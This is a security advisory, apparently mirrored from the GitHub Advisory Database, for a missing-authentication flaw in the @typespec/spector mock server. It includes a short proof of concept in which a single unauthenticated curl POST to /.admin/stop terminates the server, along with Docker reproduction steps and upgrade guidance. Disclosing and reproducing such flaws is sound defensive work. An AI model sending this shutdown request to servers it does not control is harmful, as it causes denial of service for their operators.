TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
GHSA-7q9c-hpx7-9cwm · published 4 Sept 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
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Who is affected
@typespec/spector(npm) <= 0.1.0-alpha.26
How to check
- Run
npm ls @typespec/spectorin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
@typespec/spectorto 0.1.0-alpha.27 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.
### Details
The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
```
The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).
The complete attack-reachable call chain is:
1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.
4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.
5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).
There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.
### PoC
**Prerequisites:**
```
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```
**Step 1 — Start the mock server:**
```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
```
Alternatively, use the provided Docker environment:
```bash
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```
**Step 2 — Execute the exploit (single unauthenticated request):**
```bash
curl -i -X POST http://<server-host>:3000/.admin/stop
```
Using the provided PoC script:
```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```
**Step 3 — Observe the result:**
```
HTTP/1.1 202 Accepted
```
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
```
info Received signal to stop server. Exiting...
```
Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.
### Impact
This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
# Install only the npm packages actually used by the vulnerable code path:
# express — web framework (admin.ts, routes/index.ts, server.ts)
# picocolors — terminal colors (logger.ts)
RUN npm install express picocolors
# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------
# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY re…
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References
- github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm
- github.com/microsoft/typespec/pull/11274
- github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7
- github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1
- github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27
- github.com/advisories/GHSA-7q9c-hpx7-9cwm
Merged from GitHub Advisory Database. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON